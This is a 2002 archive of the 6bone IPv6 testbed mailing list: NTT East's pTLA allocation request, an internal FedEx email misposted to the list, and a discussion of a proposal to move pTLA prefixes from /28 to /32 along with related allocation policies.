<http://whois.6bone.net/cgi-bin/whois?NTT-EAST>

<http://www.ntte.net>


Note: though the NTT-EAST IPv6-site object lists AS4697 for their BGP4+ 
peering with their current upstream NTT-ECL, NTT-EAST will use their own 
AS17933 as a pTLA.


Thanks,

Bob

===
>Date: Fri, 01 Feb 2002 16:22:36 +0900
>From: Satoshi TSUNEKAWA <s.tsunekawa@east.ntt.co.jp>
>To: fink@es.net
>Subject: pTLA request
>
>Dear Sir,
>
>   This is Satoshi TSUNEKAWA$B!!(Bthat belongs to NTT East in Japan,
>   we reqest to allocate a pTLA address block.
>   NTT East is one of the subsidiaries of NTT holding company.
>
>   We have got pNLA(3ffe:1800:f800::/40) from NTT-ECL and have been
>   operating this network since June 26, 2001.
>
>
>================================
>[request form of pTLA]
>================================
>7. Guidelines for 6Bone pTLA sites
>
>     The following rules apply to qualify for a 6Bone pTLA allocation. It
>     should be recognized that holders of 6Bone pTLA allocations are
>     expected to provide production quality backbone network services for
>     the 6Bone.
>
>     1. The pTLA Applicant must have a minimum of three (3) months
>        qualifying experience as a 6Bone end-site or pNLA transit.  During
>        the entire qualifying period the Applicant must be operationally
>        providing the following:
>
>        a. Fully maintained, up to date, 6Bone Registry entries for their
>           ipv6-site inet6num, mntner, and person objects, including each
>           tunnel that the Applicant has.
>--
>[A]
>We have connected to 6bone as below.
>   - SLA of NTT-ECL since May 11, 2001.
>          inet6num:  3ffe:1800:2100::/48
>          NETNAME:   NTT-EAST
>   - NLA of NTT-ECL since June 26, 2001.
>          inet6num:  3ffe:1800:f800::/40
>          NETNAME:   NTT-EAST
>--
>
>        b. Fully maintained, and reliable, BGP4+ peering and connectivity
>           between the Applicant's boundary router and the appropriate
>           connection point into the 6Bone. This router must be IPv6
>           pingable. This criteria is judged by members of the 6Bone
>           Operations Group at the time of the Applicant's pTLA request.
>---
>[A]
>Now, we connected to NTT-ECL with native link using BGP4+. We have a plan
>to connect to NSPIXP6(IPv6 Internet Exchange in Japan) soon.
>
>Our ipv6 router's FQDN is router1.ntte.net (3ffe:1800:f800:1000::31),
>and it is IPv6 pingable.
>---
>
>        c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>           entries for the Applicant's router(s) and at least one host
>           system.
>---
>[A]
>We maintain nameserver forward (AAAA) and reverse (ip6.int) entries on
>ns2.ntte.net (3ffe:1800:f800::9 / 61.125.0.5)
>and ns3.ntte.net (3ffe:1800:f800::10 / 61.125.0.2).
>---
>
>        d. A fully maintained, and reliable, IPv6-accessible system
>           providing, at a mimimum, one or more web pages, describing the
>           Applicant's IPv6 services.  This server must be IPv6 pingable.
>---
>[A]
>Our web server's FQDN is www.ntte.net.
>It is currently accessible from only IPv6.
>---
>
>     2. The pTLA Applicant MUST have the ability and intent to provide
>        "production-quality" 6Bone backbone service. Applicants must
>        provide a statement and information in support of this claim.
>        This MUST include the following:
>
>        a. A support staff of two persons minimum, three preferable, with
>           person attributes registered for each in the ipv6-site object
>           for the pTLA applicant.
>---
>[A]
>NTT-EAST IPv6 network support staff are following.
>   - Satoshi Tsunekawa (ST3-6BONE)
>   - Wataru Kawakami (WK2-6BONE)
>   - Takeshi Kusune (TK5-6BONE)
>---
>
>        b. A common mailbox for support contact purposes that all support
>           staff have acess to, pointed to with a notify attribute in the
>           ipv6-site object for the pTLA Applicant.
>---
>[A]
>Our common e-mail address is query-v6@ipnw.rdc.east.ntt.co.jp
>---
>
>     3. The pTLA Applicant MUST have a potential "user community" that
>        would be served by its becoming a pTLA, e.g., the Applicant is a
>        major provider of Internet service in a region, country, or focus
>        of interest. Applicant must provide a statement and information in
>        support this claim.
>---
>[A]
>NTT East is the largest telecommunication campany in the East Japan which
>operates all cities including Tokyo, Yokohama, Saitama, Chiba, Nagano,
>Sendai, Sapporo and so on.
>Our Research and Development Center have built IPv6 testbed network, and we
>would like to connect to potential customer by tunnel or native.
>Currently, we have built IPv6 testbed network with FreeBSD 4.4,
>RedHat Linux 7.2, Cisco 7206 and 3640, YAMAHA RTA52i, and so on.
>---
>
>     4. The pTLA Applicant MUST commit to abide by the current 6Bone
>        operational rules and policies as they exist at time of its
>        application, and agree to abide by future 6Bone backbone
>        operational rules and policies as they evolve by consensus of the
>        6Bone backbone and user community.
>---
>[A]
>Of course, we agree the 6bone rules and policies.
>---
>
>     When an Applicant seeks to receive a pTLA allocation, it will apply
>     to the 6Bone Operations Group (see section 8 below) by providing to
>     the Group information in support of its claims that it meets the
>     criteria above.
>
>================================
>
>Best regards,
>
>
>------------------------------------------------
>Satoshi TSUNEKAWA
>
>Technology Department
>Nippon Telegraph and Telephone East Corporation(NTT East)
>
>19-2 Nishi-shinjuku 3-Chome Shinjuku-ku,
>Tokyo 163-8019 Japan
>
>Phone  +81-3-5359-2787
>Fax    +81-3-5359-1209
-end


From 6bone-owner  Fri Feb 15 13:10:11 2002
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From: "Michael Graham" <jmgraham@midsouth.rr.com>
To: <pkramesh@yahoo.com>
Cc: "6bone" <6bone@ISI.EDU>
Subject: RE: Focus Applications - Ready For Staging
Date: Fri, 15 Feb 2002 15:14:00 -0600
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PK,  
 
  When sending something to our attention, please be sure to cc (if not
just send to) devsa-mtp@clover.c2d.fedex.com.
 
Thanks
 
Michael Graham
 
-----Original Message-----
From: PK Ramesh [mailto:pkramesh@yahoo.com] 
Sent: Friday, February 15, 2002 1:51 PM
To: Marty Bishop
Cc: jeffg@clover.c2d.fedex.com; mg228815@webmail.c2d.fedex.com
Subject: Focus Applications - Ready For Staging
 
Marty,
 
Focus and Visual Focus applications are ready for Staging.
 
Since I have new changes (wrappers, libraries etc), you have to
repackage it again. The following are the pspec Info:
 
 
All pspecs are on tripsdev-svr.c2d.fedex.com machine
 
Focus1.2:
   /opt/software/focus_1.2/focusEmergency.pspec
 
VisualFocus1.0
/opt/software/visualFocus_1.0/visualFocus.pspec
 
Please get this packaged and moved to Staging. I would appreciate if we
can get to staging today as I can use the weekend to finish my stage
testing.
 
 
Thanks,
 
Ramesh PK
901-797-6896
 <mailto:pkramesh@webmail.c2d.fedex.com>
mailto:pkramesh@webmail.c2d.fedex.com
 

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<body bgcolor=3Dwhite background=3D"cid:image001.jpg@01C1B633.62D68DA0" =
lang=3DEN-US
link=3Dblue vlink=3Dpurple style=3D'tab-interval:.5in'>
<img src=3D"cid:image001.jpg@01C1B633.62D68DA0"
v:src=3D"cid:image001.jpg@01C1B633.62D68DA0" v:shapes=3D"_x0000_Mail" =
width=3D0
height=3D0 class=3Dshape style=3D'display:none;width:0;height:0'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>PK,<span =
style=3D'mso-spacerun:yes'>&nbsp;
</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><span =
style=3D'mso-spacerun:yes'>&nbsp;
</span>When sending something to our attention, please be sure to cc (if =
not
just send to) <a =
href=3D"mailto:devsa-mtp@clover.c2d.fedex.com">devsa-mtp@clover.c2d.fedex=
.com</a>.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Thanks<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Michael =
Graham<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
face=3DTahoma><span
style=3D'font-size:10.0pt;font-family:Tahoma'>-----Original =
Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b> PK Ramesh
[mailto:pkramesh@yahoo.com] <br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Friday, February =
15, 2002
1:51 PM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> Marty Bishop<br>
<b><span style=3D'font-weight:bold'>Cc:</span></b> =
jeffg@clover.c2d.fedex.com;
mg228815@webmail.c2d.fedex.com<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> Focus =
Applications -
Ready For Staging</span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
face=3D"Times New Roman"><span
style=3D'font-size:12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><span =
class=3DEmailStyle19><font
size=3D2 color=3D"#0033cc" face=3DArial><span =
style=3D'font-size:10.0pt'>Marty,<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><span =
class=3DEmailStyle19><font
size=3D2 color=3D"#0033cc" face=3DArial><span =
style=3D'font-size:10.0pt'><o:p>&nbsp;</o:p></span></font></span></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><span =
class=3DEmailStyle19><font
size=3D2 color=3D"#0033cc" face=3DArial><span =
style=3D'font-size:10.0pt'>Focus and
Visual Focus applications are ready for =
Staging.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><span =
class=3DEmailStyle19><font
size=3D2 color=3D"#0033cc" face=3DArial><span =
style=3D'font-size:10.0pt'><o:p>&nbsp;</o:p></span></font></span></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><span =
class=3DEmailStyle19><font
size=3D2 color=3D"#0033cc" face=3DArial><span =
style=3D'font-size:10.0pt'>Since I have
new changes (wrappers, libraries etc), you have to repackage it again. =
The
following are the pspec Info:<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><span =
class=3DEmailStyle19><font
size=3D2 color=3D"#0033cc" face=3DArial><span =
style=3D'font-size:10.0pt'><o:p>&nbsp;</o:p></span></font></span></p>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;mso-layout-grid-align:none;
text-autospace:none'><font size=3D3 face=3D"Courier New"><span =
style=3D'font-size:
12.0pt;font-family:"Courier New"'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;mso-layout-grid-align:none;
text-autospace:none'><font size=3D2 color=3D"#0033cc" face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:#0033CC'>All pspecs =
are on
tripsdev-svr.c2d.fedex.com machine</span></font><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial'><o:p></o:p></span></font></p=
>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;mso-layout-grid-align:none;
text-autospace:none'><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;mso-layout-grid-align:none;
text-autospace:none'><font size=3D2 color=3D"#0033cc" face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:#0033CC'>Focus1.2:</spa=
n></font><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial'><o:p></o:p></span></font></p=
>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;mso-layout-grid-align:none;
text-autospace:none'><font size=3D2 color=3D"#0033cc" face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:#0033CC'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp; =
</span>/opt/software/focus_1.2/focusEmergency.pspec</span></font><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial'><o:p></o:p></span></font></p=
>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;mso-layout-grid-align:none;
text-autospace:none'><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;mso-layout-grid-align:none;
text-autospace:none'><font size=3D2 color=3D"#0033cc" face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:#0033CC'>VisualFocus1.0=
</span></font><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial'><o:p></o:p></span></font></p=
>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;mso-layout-grid-align:none;
text-autospace:none'><font size=3D2 color=3D"#0033cc" face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:#0033CC'>/opt/software/=
visualFocus_1.0/visualFocus.pspec</span></font><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial'><o:p></o:p></span></font></p=
>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;mso-layout-grid-align:none;
text-autospace:none'><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'margin-left:.5in;mso-layout-grid-align:none;
text-autospace:none'><font size=3D2 color=3D"#0033cc" face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:#0033CC'>Please get =
this
packaged and moved to Staging. I would appreciate if we can get to =
staging
today as I can use the weekend to finish my stage =
testing.</span></font><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial'><o:p></o:p></span></font></p=
>

<p class=3DMsoNormal style=3D'margin-left:.5in'><span =
class=3DEmailStyle19><font
size=3D2 color=3D"#0033cc" face=3DArial><span =
style=3D'font-size:10.0pt'><o:p>&nbsp;</o:p></span></font></span></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><span =
class=3DEmailStyle19><font
size=3D2 color=3D"#0033cc" face=3DArial><span =
style=3D'font-size:10.0pt'><o:p>&nbsp;</o:p></span></font></span></p>

<p class=3DMsoAutoSig style=3D'margin-left:.5in'><!--[if =
supportFields]><font=20
size=3D2 color=3D"#0033cc" face=3DArial><span =
style=3D'font-size:10.0pt;font-family:
Arial;color:#0033CC'><span =
style=3D'mso-element:field-begin'></span><span=20
style=3D'mso-spacerun:yes'>&nbsp;</span>AUTOTEXTLIST \s &quot;E-mail =
Signature&quot; <span=20
style=3D'mso-element:field-separator'></span></span></font><![endif]--><f=
ont
size=3D2 color=3D"#0033cc" face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:
12.0pt;font-family:Arial;color:#0033CC'>Thanks,</span></font><o:p></o:p><=
/p>

<p class=3DMsoAutoSig style=3D'margin-left:.5in'><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><o=
:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoAutoSig style=3D'margin-left:.5in'><font size=3D2 =
color=3D"#ff6600"
face=3D"Comic Sans MS"><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;
font-family:"Comic Sans MS";color:#FF6600'>Ramesh =
PK<o:p></o:p></span></font></p>

<p class=3DMsoAutoSig style=3D'margin-left:.5in'><font size=3D2 =
color=3Dblue
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial;color:blue'>901-797-6896<o:p></o:p></span></font></p>

<p class=3DMsoAutoSig style=3D'margin-left:.5in'><font size=3D2 =
color=3D"#0033cc"
face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:
Arial;color:#0033CC'><a href=3D"mailto:pkramesh@webmail.c2d.fedex.com"
title=3D"Reply Address"><font size=3D3 face=3D"Times New Roman"><span
style=3D'font-size:12.0pt;font-family:"Times New =
Roman"'>mailto:pkramesh@webmail.c2d.fedex.com</span></font></a></span></f=
ont><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;
font-family:Arial'><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><!--[if =
supportFields]><font=20
size=3D2 color=3D"#0033cc" face=3DArial><span =
style=3D'font-size:10.0pt;font-family:
Arial;color:#0033CC'><span =
style=3D'mso-element:field-end'></span></span></font><![endif]--><font
size=3D2 color=3D"#0033cc" face=3DArial><span =
style=3D'font-size:10.0pt;font-family:
Arial;color:#0033CC'>&nbsp;<o:p></o:p></span></font></p>

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Sorry about that meaningless spam there.
Looks like my outlook went INSANE.

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From 6bone-owner  Sun Feb 17 12:44:14 2002
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remove


From 6bone-owner  Sun Feb 17 17:47:36 2002
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Date: Sun, 17 Feb 2002 17:47:25 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
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6bone Folk,

We are seeing a recent increase in pTLA requests, and it prompts me to 
recommend a change in pTLA prefix length to allow for future growth. 
Basically I propose changing from the /28 prefixes we now allocate to /32:

===
The current 6bone pTLA numbering plan is:

   3FFE:0000::/24 thru 3FFE:3900::/24 are allocated [there are 58 /24 pTLA's]

   3FFE:8000::/28 thru 3FFE:8340::/28 are allocated [there are 54 /28 pTLA's]

I propose:

   3FFE:0000::/24 thru 3FFE:3F00::/24  [no new allocations here]

   3FFE:8000::/28 thru 3FFE:83F0::/28  [no new allocations here]

   3FFE:4000::/32 thru 3FFE:7FFF::/32  [which provides for 16K /32 pTLA's]

leaving:

   3FFE:8400::/32 thru 3FFE:FFFF::/32  for future use

===

In addition, I would like you to consider some possible policy changes:

1. requiring existing pTLA /24 and /28 holders to renumber to a new /32, 
unless justifying why it is not possible due to usage and/or address layout 
issues, within 6 months (12 months?) of the change in policy.

2. encouraging pTLA holders to apply for a production subTLA allocation 
when they move to a fully production mode; requiring those charging for 
service to also apply for a production subTLA allocation; requiring the 
pTLA to be released within 6 months (12 months?) of acquiring a subTLA 
unless justifying why the pTLA allocation is still needed/required.

3. pTLA holders should not assign pTLA based allocations to paying 
customers except for early test/trial purposes.  paying customers should 
always receive RIR based allocations when service is not for test/trial 
purposes.

4. requiring a restatement of pTLA usage and continuing need every 2 years.

5. requiring the return of a pTLA when it is no longer used by the original 
requesting entity. this is the de facto policy, but has not been stated 
previously.


Please send comments to the 6bone list by 4 March 2002.


Thanks,

Bob


From 6bone-owner  Sun Feb 17 21:12:04 2002
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Subject: RE: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
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Thread-Topic: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> Bob Fink wrote:
> Please send comments to the 6bone list by 4 March 2002.

1,3,4,5 seems reasonable to me, although 1 will require
more than wishing it.

> We are seeing a recent increase in pTLA requests,

This is no surprise to me. In the orchestrated absence of an
IPv6 multihoming solution, it makes business sense to reserve
a prefix, becoming a pTLA and then a subTLA does not seem an
unreasonable cost to do business.

> 2. encouraging pTLA holders to apply for a production subTLA
> allocation when they move to a fully production mode; requiring
> chose charging for service to also apply for a production
> subTLA allocation; requiring the pTLA to be released within 6
> months (12 months?) of acquiring a subTLA unless justifying why
> the pTLA allocation is still needed/required.

I think this will be counter-productive, because it's exactly
what people that apply for a pTLA for the sole purpose of getting
their prefix advertised in the DFZ want. Once a RIR based
allocation has been granted to people that have no real intention
of becoming an ISP, it would be very difficult to take back, and
that would be going back into the routing goop we see today in v4.
Sure, it might clear some 6bone pTLAs, at the expense of permanent
subTLAs in the DFZ.

Michel.


From 6bone-owner  Sun Feb 17 23:21:25 2002
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From: Robert Elz <kre@munnari.OZ.AU>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please 
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    Date:        Sun, 17 Feb 2002 17:47:25 -0800
    From:        Bob Fink <fink@es.net>
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  | Basically I propose changing from the /28 prefixes we now allocate to /32:

Sounds like a good idea to me.


  | 1. requiring existing pTLA /24 and /28 holders to renumber to a new /32,

I'm not too worried about pTLA usage, but I think this would be a good idea.

We need a lot more renumbering testing, and this looks like it would be a
good way to show people what is involved, and gain a lot more data about what
more is needed.   The only justification for not doing it should (I think)
be that a /32 isn't big enough for the number of addresses currently allocated
(or expected to be in the very near future).   And those people should still
have to renumber - just back into a different one of the bigger blocks (after
others have been returned by those renumbering into a /32)

I think I'd tend to make the time limit closer to 3 months than 6 though.

And while I don't have a pTLA, I do have addresses allocated by those who do,
and so this means that I get to renumber because of 2nd hand action, which
is something that we should be making very very clear will happen, and
preparing for.

The rest of your proposals I have no particular opinion on - I suspect that
just forcing the 6bone space into renumbering from time to time will drive
away the commercial users without the need for any specific policies, nor
the need to go and attempt to ensure compliance.

So, all this sounds like exactly what the 6bone should be being used for.

kre


From 6bone-owner  Mon Feb 18 00:08:45 2002
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Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please 
From: itojun@iijlab.net
Date: Mon, 18 Feb 2002 17:08:46 +0900
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>1. requiring existing pTLA /24 and /28 holders to renumber to a new /32, 
>unless justifying why it is not possible due to usage and/or address layout 
>issues, within 6 months (12 months?) of the change in policy.

	normally /24 or /28 pTLAs behave just like an ISP, and sub-allocates
	its address space (like /48) to childrens.  for example, WIDE
	(3ffe:500::/24) has 3 layers of address sub-allocation (/40 and
	then /48) under it.  it would be rather hard for those pTLAs to
	renumber all suballocated regions. (imagine renumbering x/8 to y/8,
	where there are suballocations like x.z.u.0/24)  is the scenario
	realistic in actual IPv6 operation?  isn't it too aggressive?
	(example: when sTLA gets more address space, they won't asked to return
	their previously allocated space)

itojun

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From: Michael Kjorling <michael@kjorling.com>
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Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please
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On Feb 17 2002 17:47 -0800, Bob Fink wrote:

> 6bone Folk,
>
> We are seeing a recent increase in pTLA requests, and it prompts me to
> recommend a change in pTLA prefix length to allow for future growth.
> Basically I propose changing from the /28 prefixes we now allocate to /32:

Just a reflection: why not change to a /35, which I believe is the
normal production subTLA allocation? This would mean that when
companies migrate to a production subTLA there will be significantly
less work involved, as they can just hand out the very same NLA/SLAs
but under the new prefix. Customers would have to renumber anyway, so
there is little reason they cannot renumber to the same prefix, which
still means changing only the first 48 bits of the address (plus
*possibly* the SLA, but that would be unrelated to the prefix change).

Comments, please?


> ===
> The current 6bone pTLA numbering plan is:
>
>    3FFE:0000::/24 thru 3FFE:3900::/24 are allocated [there are 58 /24 pTLA's]
>
>    3FFE:8000::/28 thru 3FFE:8340::/28 are allocated [there are 54 /28 pTLA's]
>
> I propose:
>
>    3FFE:0000::/24 thru 3FFE:3F00::/24  [no new allocations here]
>
>    3FFE:8000::/28 thru 3FFE:83F0::/28  [no new allocations here]
>
>    3FFE:4000::/32 thru 3FFE:7FFF::/32  [which provides for 16K /32 pTLA's]
>
> leaving:
>
>    3FFE:8400::/32 thru 3FFE:FFFF::/32  for future use

I have no objections against such an allocation except the /35
proposal I mentioned above. The 16,383 new pTLAs given by
3ffe:4000->7fff::/32 as well as the 31,743 still available under
3ffe:8400->ffff::/32 should be enough for the reasonably forseeable
future (especially given that the 6bone is a testbed and not a
"production" network). The policy changes (which I will comment on
below) does not make this worse, either.


> ===
>
> In addition, I would like you to consider some possible policy changes:
>
> 1. requiring existing pTLA /24 and /28 holders to renumber to a new /32,
> unless justifying why it is not possible due to usage and/or address layout
> issues, within 6 months (12 months?) of the change in policy.

This would hopefully mean that we'd move most current pTLAs into a /32
block. (Even though it would be nice to hear comments about my
proposal of a /35 pTLA allocation scheme.) It certainly does not sound
like a bad idea to me.


> 2. encouraging pTLA holders to apply for a production subTLA allocation
> when they move to a fully production mode; requiring those charging for
> service to also apply for a production subTLA allocation; requiring the
> pTLA to be released within 6 months (12 months?) of acquiring a subTLA
> unless justifying why the pTLA allocation is still needed/required.

This was a lot at once. Let's take your individual suggestions one by
one:

"encouraging pTLA holders to apply for a production subTLA allocation
when they move to a fully production mode": Encouraging, yes. Forcing,
no, I believe that is not the way to go (e.g. by revoking the pTLA
allocation.)

"requiring those charging for service to also apply for a production
subTLA allocation": This is not by any means an unreasonable
requirement. After all, if you are paying for access you probably
expect production level service. The 6bone and IPv6 part of the
Internet seems fairly stable to me, but I wouldn't exactly love paying
for experimental services. For dial-in/cable/etc. ISPs especially,
renumbering should be fairly simple, but even with customer /48
assignments it shouldn't be impossible.

"requiring the pTLA to be released within 6 months (12 months?) of
acquiring a subTLA unless justifying why the pTLA allocation is still
needed/required": Once one has obtained a production subTLA I can see
little need for keeping the pTLA, as long as the clients' networks can
be renumbered without an extreme workload on the administrators (which
in one sense would go against the idea behind address
autoconfiguration and such anyway).

Let's not forget what Michel Py mentioned, either. One way to try to
help stopping global routing table pollution might be to require those
applying for production subTLAs to actually provide ISP services to
customers (whether for a fee or not), but this is something that would
require further discussion.


> 3. pTLA holders should not assign pTLA based allocations to paying
> customers except for early test/trial purposes.  paying customers should
> always receive RIR based allocations when service is not for test/trial
> purposes.

This is something I certainly have no comments about, except that I
agree with it. Even for trial purposes, having a dedicated block (say,
perhaps a /40 or something on that order for a really big ISP) under a
subTLA where addresses can be handed out is not unreasonable. That
would mean a 1/32 of the /35 subTLA.


> 4. requiring a restatement of pTLA usage and continuing need every 2 years.

Not by any means unreasonable. Also see below.


> 5. requiring the return of a pTLA when it is no longer used by the original
> requesting entity. this is the de facto policy, but has not been stated
> previously.

Agreed. Another idea: require that pTLA allocations are returned or at
least reconsidered when the need that prompted the allocation is no
longer there. This seems to be standard practice today about IPv4
allocations (even for rather small allocations like my IPv4 /28) and I
cannot see why IPv6 should have to be much different in that aspect?
It is better to adapt such a policy while we are still at a fairly
early stage than rushing to it later on.

Comments, please?


> Please send comments to the 6bone list by 4 March 2002.
>
>
> Thanks,
>
> Bob


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')

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From 6bone-owner  Mon Feb 18 03:49:40 2002
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Date: Mon, 18 Feb 2002 12:51:25 +0100 (CET)
From: Michael Kjorling <michael@kjorling.com>
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Subject: (resend) Re: new 6bone pTLA prefix proposal, comments by 4 March
 2002 please
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This doesn't seem to have made it to the list, so I am resending it.
Sorry if it duplicates.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')

*** Thinking about sending me spam? Take a close look at
*** http://michael.kjorling.com/spam/ before doing so.

- ---------- Forwarded message ----------
Date: Mon, 18 Feb 2002 10:16:30 +0100 (CET)
From: Michael Kjorling <michael@kjorling.com>
To: 6bone <6bone@isi.edu>
Subject: Re: new 6bone pTLA prefix proposal, comments by 4 March 2002 please

On Feb 17 2002 17:47 -0800, Bob Fink wrote:

> 6bone Folk,
>
> We are seeing a recent increase in pTLA requests, and it prompts me to
> recommend a change in pTLA prefix length to allow for future growth.
> Basically I propose changing from the /28 prefixes we now allocate to /32:

Just a reflection: why not change to a /35, which I believe is the
normal production subTLA allocation? This would mean that when
companies migrate to a production subTLA there will be significantly
less work involved, as they can just hand out the very same NLA/SLAs
but under the new prefix. Customers would have to renumber anyway, so
there is little reason they cannot renumber to the same prefix, which
still means changing only the first 48 bits of the address (plus
*possibly* the SLA, but that would be unrelated to the prefix change).

Comments, please?


> ===
> The current 6bone pTLA numbering plan is:
>
>    3FFE:0000::/24 thru 3FFE:3900::/24 are allocated [there are 58 /24 pTLA's]
>
>    3FFE:8000::/28 thru 3FFE:8340::/28 are allocated [there are 54 /28 pTLA's]
>
> I propose:
>
>    3FFE:0000::/24 thru 3FFE:3F00::/24  [no new allocations here]
>
>    3FFE:8000::/28 thru 3FFE:83F0::/28  [no new allocations here]
>
>    3FFE:4000::/32 thru 3FFE:7FFF::/32  [which provides for 16K /32 pTLA's]
>
> leaving:
>
>    3FFE:8400::/32 thru 3FFE:FFFF::/32  for future use

I have no objections against such an allocation except the /35
proposal I mentioned above. The 16,383 new pTLAs given by
3ffe:4000->7fff::/32 as well as the 31,743 still available under
3ffe:8400->ffff::/32 should be enough for the reasonably forseeable
future (especially given that the 6bone is a testbed and not a
"production" network). The policy changes (which I will comment on
below) does not make this worse, either.


> ===
>
> In addition, I would like you to consider some possible policy changes:
>
> 1. requiring existing pTLA /24 and /28 holders to renumber to a new /32,
> unless justifying why it is not possible due to usage and/or address layout
> issues, within 6 months (12 months?) of the change in policy.

This would hopefully mean that we'd move most current pTLAs into a /32
block. (Even though it would be nice to hear comments about my
proposal of a /35 pTLA allocation scheme.) It certainly does not sound
like a bad idea to me.


> 2. encouraging pTLA holders to apply for a production subTLA allocation
> when they move to a fully production mode; requiring those charging for
> service to also apply for a production subTLA allocation; requiring the
